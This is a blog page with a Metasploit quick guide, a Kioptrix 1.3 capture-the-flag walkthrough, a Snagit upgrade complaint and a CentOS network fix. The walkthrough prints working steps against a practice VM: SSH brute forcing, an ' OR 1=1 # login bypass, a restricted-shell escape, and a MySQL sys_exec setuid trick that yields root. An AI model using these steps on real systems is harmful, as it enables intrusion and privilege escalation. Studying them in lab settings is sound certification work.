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Category: OS

Quick Metasploit Guide

metasploit photoThese are some notes I find myself referring back to as I work through my studies for the OSCP exam. As I develop more of these, I’ll continue to post them here on my blog so that others might find them useful.

Use Kali Linux for all the following instructions.

Prep:
Ensure postgresql is running.

$> /etc/init.d/postgresql start

Set postgres to start on boot so you don’t have to worry about it again:

$> sudo update-rc.d postgresql enable

From the command line, fire up the Metasploit console:

$> msfconsole

Search for exploits related to what you are interested in:

msf> search smb

Or, be more specific:

msf> search name:smb type:exploit platform:windows

Or, in Kali, use searchsploit (from regular command line, outside of MSF):

$> searchsploit smb

Once you find an exploit you want to use, use it:

msf> use exploit/windows/smb_hack

Then set a payload:

msf> set PAYLOAD windows/shell/reverse_tcp

See what options are set:

msf> show options

Set options as needed:

LHOST is the IP of where the victim host will send info to (your Kali VM, ex.)

msf> set LHOST 192.168.0.x

RHOST is the IP of the victim

msf> set RHOST 192.168.1.x

Default port is 80, but choose one if you wish:

msf> set RPORT 8081

Run the exploit:

msf> exploit

If trying to get a remote shell, beware that you may be looking at it if you see what you think is nothing happening. Just try executing a command and see what happens:

ls

dir

pwd

id

Photos by Christiaan008,

Kioptrix Level 1.3 (VM #4) Walkthrough

In my efforts to self-study in preparation for the OSCP certification later this year, I’ve been going through some of the intentionally vulnerable Virtual Machines (VMs) on vulnhub.com to sharpen and broaden my penetration testing and hacking skills. Among others I’ve completed, the Kioptrix series of VMs is allegedly similar to what you see in the actual OSCP test, so I’ve been going through them in order.

Part of completing the OSCP is providing a write-up of your hacking adventures to explain how and what you did to hack a server, so I figured I better start now. Other folks do similar write-ups on the VMs on vulnub.com, and I’ll see if they will add this to Kioptrix 1.3 page soon.

Hopefully, someone will find this useful either way.

It should be noted that this VM was known to have at least two possible paths to getting root on the system, and this writeup outline just one.

Discovery

On my local network, this VM turned up with the IP address of 192.168.0.110.

nmap

Running an nmap scan revealed some open ports and running services:

root@kali:~# nmap -v -sS -A -T4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-methods: 
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)

Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33

Poking Around

Checking things out by hand based on the nmap scan results, I found there was a login page running on port 80 at http://192.168.0.110

No basic SQL injection working from any initial attempts.

Nothing in the source code of note. Some other basic manual fuzzing and poking around didn’t reveal much either.

Nikto

Nikto turned up some basic stuff about Apache that I thought might be worth looking into later:

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.

dirb and dirsearch

A basic dirb scan turned up a directory:
http://192.168.0.110/john/

I though that could be a username. Running dirb with a bigger wordlist (big.txt in Kali) turned up another one:
http://192.168.0.110/robert/

Both of those directories contained a file (robert.php and john.php) that, when clicked, would just redirect you back to the main login page.

I also ran DIRSEARCH, a python tool that also works well for finding directories and files.
found file: database.sql

(Note: Dirsearch is not included in Kali by default. Requires you to setup Python 3 in a virtual environment to run it.)

enum4linux

Since ports 139 and 445 were being used, I went on try enum4linux

root@kali:~# enum4linux -a 192.168.0.110
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb 9 00:40:35 2017

(Pasting only the relevant stuff here.)
 ===================================================== 
| Enumerating Workgroup/Domain on 192.168.0.110 |
 ===================================================== 
[+] Got domain/workgroup name: WORKGROUP

============================================= 
| Nbtstat Information for 192.168.0.110 |
 ============================================= 
Looking up status of 192.168.0.110
 KIOPTRIX4 <00> - B <ACTIVE> Workstation Service
 KIOPTRIX4 <03> - B <ACTIVE> Messenger Service
 KIOPTRIX4 <20> - B <ACTIVE> File Server Service
 ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
 WORKGROUP <1d> - B <ACTIVE> Master Browser
 WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
 WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name

MAC Address = 00-00-00-00-00-00

============================== 
| Users on 192.168.0.110 |
 ============================== 
index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)
index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert Name: ,,, Desc: (null)
index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null)
index: 0x4 RID: 0xbba acb: 0x00000010 Account: john Name: ,,, Desc: (null)
index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret Name: loneferret,,, Desc: (null)

user:[nobody] rid:[0x1f5]
user:[robert] rid:[0xbbc]
user:[root] rid:[0x3e8]
user:[john] rid:[0xbba]
user:[loneferret] rid:[0xbb8]

========================================== 
| Share Enumeration on 192.168.0.110 |
 ========================================== 
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]

Sharename Type Comment
 --------- ---- -------
 print$ Disk Printer Drivers
 IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))

Server Comment
 --------- -------
 KIOPTRIX4 Kioptrix4 server (Samba, Ubuntu)

Workgroup Master
 --------- -------
 WORKGROUP KIOPTRIX4

[+] Attempting to map shares on 192.168.0.110
//192.168.0.110/print$ Mapping: DENIED, Listing: N/A
//192.168.0.110/IPC$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
NT_STATUS_NETWORK_ACCESS_DENIED listing \*

===================================================== 
| Password Policy Information for 192.168.0.110 |
 ===================================================== 
[E] Unexpected error from polenum:
Traceback (most recent call last):
 File "/usr/bin/polenum", line 33, in <module>
 from impacket.dcerpc import dcerpc_v4, dcerpc, transport, samr
ImportError: cannot import name dcerpc_v4
[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 0

S-1-22-1-1000 Unix User\loneferret (Local User)
S-1-22-1-1001 Unix User\john (Local User)
S-1-22-1-1002 Unix User\robert (Local User)

enum4linux complete on Thu Feb 9 00:40:51 2017

acccheck

I ran acccheck on the ‘robert’ user with the big.txt pw list, to no avail. Can circle back to try the other usernames if needed.

THC Hydra

You can use Hydra to brute force FTP, SSH, POP3, and SMTP account. Let’s try Hydra with those usernames to find SSH accounts! Trying the usernames found via acccheck with SSH logins:

robert
root
loneferret
john

hydra -L users -P 10_million_password_list_top_100000.txt -t 4 192.168.0.110 ssh -vv

Nothing turned up! Bummer.

database.sql

This was found during discover with dirsearch, and it appears to be a short MySQL dump file. Since other avenues were turning out to be fruitless, I thought I’d give this a closer look.

Immediately, the first thing to note is that there’s a username and password shown in the dump file.

john
1234

Let’s try it on the HTML login form at http://192.168.0.110/index.php?. No luck!
I thought maybe that was a default password, so I tested it on the other known users as well (robert, root, loneferret), but still no luck.

Perhaps it’d work with SSH or SMB?
Negatory

The file at least led me to believe MySQL was in place, so perhaps some more SQLi exploration would help.

After a number of failed attempts and errors by trying various SQL injection strings, using this worked:

Username: john
Password: ' OR 1=1 #

That took me to the User Admin Panel and showed the actual password.

That seemed kinda easy. But this is when things got hard, actually.

I logged out and confirmed that the password worked. It logged me back into that same page. But what good is that? Let’s try SSH again!

Shell obtained. However, the shell seemed to be extremely limited. As instructed at login, typing ? or ‘help’ gets you a list of allowed commands:

I was warned about trying to cd into the root directory, and getting kicked out if I tried again.

lpath is the same as pwd.

The only available command that looks somewhat useful is echo. Let’s see if we can echo the contents of .profile


Uh oh. It really did kick me out! Luckily, all I had to do was reconnect via SSH. Let’s try a different file:

Bummer. How about getting around now that we know it is possible to simply re-log via SSH if you get kicked out? No luck.

Must break out of the restricted “LigGoat” shell. To the Google!

Searching for “escape restricted shell echo” I found a handy article:
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells

Trying a number of things, I finally found the right trick, which is to use Python to switch shells:

echo os.system("/bin/bash")

That was weird, but it worked, and I got a less restricted shell. This website was of much help to find the specific command needed: http://netsec.ws/?p=337

Finally, a useful shell. Well, more useful. It still seems to be a basic user account with no real privileges. So where to next? MySQL exists and can be leveraged to take over a box under the right circumstances, so before exploring other vectors, I decided to start with it.

MySQL

Revisiting the web directory and the application running on the website, I found a handy SQL statement in checklogin.php. This statement had the mysql connection string, including the username and password, which were simply:

user: root
pass: (empty)

That suggested the root password was never changed when MySQL was installed, so this was probably a default installation with few tweaks or security enhancements. Sure enough, I was able to log in:

Things got off track for a while here, as I wasn’t really sure what to do from this point. However, this Google search helped me:

mysql root pwn server

That led me to a Facebook post, of all things:

https://www.facebook.com/notes/security-training-share/mysql-root-to-system-root-with-lib_mysqludf_sys-for-windows-and-linux/865458806817957/

It described the situation perfectly:

“We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often.”

The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn’t need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script (which I was unable to do as user ‘john’ anyway.

Where that article has this line:

select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');

Just do this instead:

select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:

bash -p

It should drop you into a root shell!

cd /root

cat congrats.txt
It described the situation perfectly:
"We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often."

The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn't need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script that changes users.

Instead of this line:
select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');

Just do this:
select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:

	Ø bash -p

It should drop you into a root shell!

cd /root

cat congrats.txt

Root obtained. Mission complete!

 

Snagit Charges for “Upgrade”

lipstick on a pig photo
Look! This pig has lipstick.

I am completely fine with paying for software that I really like and that serves a purpose for me. However, if you are a software company that is going to use the ‘paid upgrade’ model of charging customers to upgrade to the next major version of your product, make sure the next major version contains new features worth paying for.

In the case of TechSmith’s Snagit, they have failed to provide anything of real value in their latest release (version 3.0 for Mac, or 12.0 for Windows), yet they are asking for $24.95 to upgrade to the latest version.

I paid for version 2 of Snagit for my Mac (that’s version 11 for you Windows users), and I really enjoyed using it. It became a tool in my arsenal that I relied heavily upon for doing quick screen shots and adding text, notes, arrows, and more.

Then one day a couple of weeks ago the updater ran and I was suddenly looking at a trial version of Snagit 3.0. And it said it was going to expire unless I paid the discounted upgrade fee of $24.95.

Aggravated, I hoped to have my mood changed and be wowed by version 3.0. So I tested it out for a few days. I quickly found that it had a nicer look and feel about it, but other than that, there were no noticeable enhancements or actual upgrades to the product. It was the same product with about one new feature related to the video clipping tool — something I could care less about. And that new feature was only a new arrow selector of some sort. Not impressed.

Jason Eagleston, the “Snagit Product Owner” at TechSmith even admits in their self-congratulatory release video that “with this release we had a focus on updating the way Snagit looks and feels, partially to bring that consistency across all the Techsmith things that you are going to interact with, but ultimately it’s only focused on getting your content to be the most prominent thing on the screen.”

Hmm…I only interact with one Techsmith product, so why should this be a feature worth paying for? And how is it not the most prominent thing on my screen if I’m currently using it in the first place?

A couple of more employees in the video go on to talk about how much nicer the product will be to use, and that they really wanted people to feel like they were using something current and not outdated. So it really isn’t about an upgrade, it’s about a change of clothes.

The whole video is about them admitting that their product didn’t look that great, so they spent a lot of effort making it look better (or “flatter,” as they say in the video, which is supposed to be something we should like), and now they want their customers to pay for that. No real tool enhancements or additions, just a subjective improvement to the design. For $24.95? No thanks.

For those of you looking for a free alternative to Snagit, check out Skitch. With or without Evernote, it’s a nice tool that does just about everything Snagit does for screen capturing.

Photo by Darin Barry

VMware – RHEL / CentOS 6.2 – Network Issues

Howdy folks,

I just grabbed CentOS 6.2 (don’t know if it’s an issue in 6.0, 6.1), but an installation with the “Basic Server” within VMware Fusion 4.1.1 delivered no IP address etc. when leaving DHCP/NAT as the default.

Finding: Seems, either something is goofed in the dhclient or NetworkManager (now default for RHEL 6.x).

Fix: I brought the network interface up “ifup eth0”, then ran “dhclient eth0”, obtained an IP and ran “yum update -y”, after which (I noticed dhclient was in the updates), I was able to reboot and all worked well.

Not a big deal, as you could have just manually configured your network script, but maybe it will help someone. 🙂